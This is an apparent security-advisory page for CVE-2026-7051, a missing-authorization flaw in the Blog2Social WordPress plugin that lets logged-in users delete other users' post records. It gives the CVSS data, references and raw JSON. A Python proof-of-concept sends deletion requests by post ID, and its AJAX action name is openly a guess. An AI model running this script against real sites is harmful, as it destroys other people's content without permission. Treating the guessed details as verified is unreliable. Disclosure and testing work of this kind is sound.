Security Vulnerability Report
中文
CVE-2026-7051 CVSS 5.4 MEDIUM

CVE-2026-7051

Published: 2026-05-13 05:16:24
Last Modified: 2026-05-13 14:43:47

Description

The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 8.9.0. This is due to a missing ownership verification in the B2S_Post_Tools::deleteUserPublishPost() and B2S_Post_Tools::deleteUserSchedPost() functions, neither function includes a blog_user_id constraint in its database query, allowing authenticated attackers to soft-delete any user's B2S post records by supplying arbitrary sequential wp_b2s_posts.id values via the 'postId' parameter. This makes it possible for authenticated attackers to delete other users' published and scheduled social media post records, disrupting content publishing workflows.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Blog2Social: Social Media Auto Post & Scheduler <= 8.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Blog2Social < 8.9.0 - Missing Authorization to Arbitrary Post Deletion # Date: 2026-05-13 # Exploit Author: Analyst # Vendor Homepage: https://blog2social.com # Software Link: https://wordpress.org/plugins/blog2social/ # Version: <= 8.9.0 # CVE: CVE-2026-7051 import requests def exploit(target_url, cookie, post_id): """ Attempts to delete a specific post ID by exploiting the missing authorization vulnerability. """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # The action parameter typically maps to the function name or a registered hook. # Based on the vulnerable function names (deleteUserPublishPost, deleteUserSchedPost), # the action might be 'b2s_delete_user_post' or similar. payload = { "action": "b2s_delete_user_post", # Verify actual action name via source code "postId": str(post_id) } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # The 'wordpress_logged_in_' cookie is required for authentication (PR:L) cookies = { "wordpress_logged_in_hash": cookie } try: response = requests.post(ajax_url, data=payload, headers=headers, cookies=cookies) if response.status_code == 200: print(f"[+] Request sent to delete post ID {post_id}.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage Example # target = "http://localhost" # user_cookie = "attacker_session_cookie_value" # target_post_id = 5 # exploit(target, user_cookie, target_post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7051", "sourceIdentifier": "[email protected]", "published": "2026-05-13T05:16:24.340", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 8.9.0. This is due to a missing ownership verification in the B2S_Post_Tools::deleteUserPublishPost() and B2S_Post_Tools::deleteUserSchedPost() functions, neither function includes a blog_user_id constraint in its database query, allowing authenticated attackers to soft-delete any user's B2S post records by supplying arbitrary sequential wp_b2s_posts.id values via the 'postId' parameter. This makes it possible for authenticated attackers to delete other users' published and scheduled social media post records, disrupting content publishing workflows."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/Ajax/Post.php#L1947", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/Ajax/Post.php#L2264", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/B2S/Post/Tools.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/B2S/Post/Tools.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.9.0/includes/Ajax/Post.php#L1947", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.9.0/includes/Ajax/Post.php#L2264", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.9.0/includes/B2S/Post/Tools.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.9.0/includes/B2S/Post/Tools.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Post.php#L1947", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Post.php#L2264", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/B2S/Post/Tools.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/B2S/Post/Tools.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3523333%40blog2social&new=3523333%40blog2social&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f0859e21-851a-4a6d-aa6c-9f759c5866d9?source=cve", "source": "[email protected]"}]}}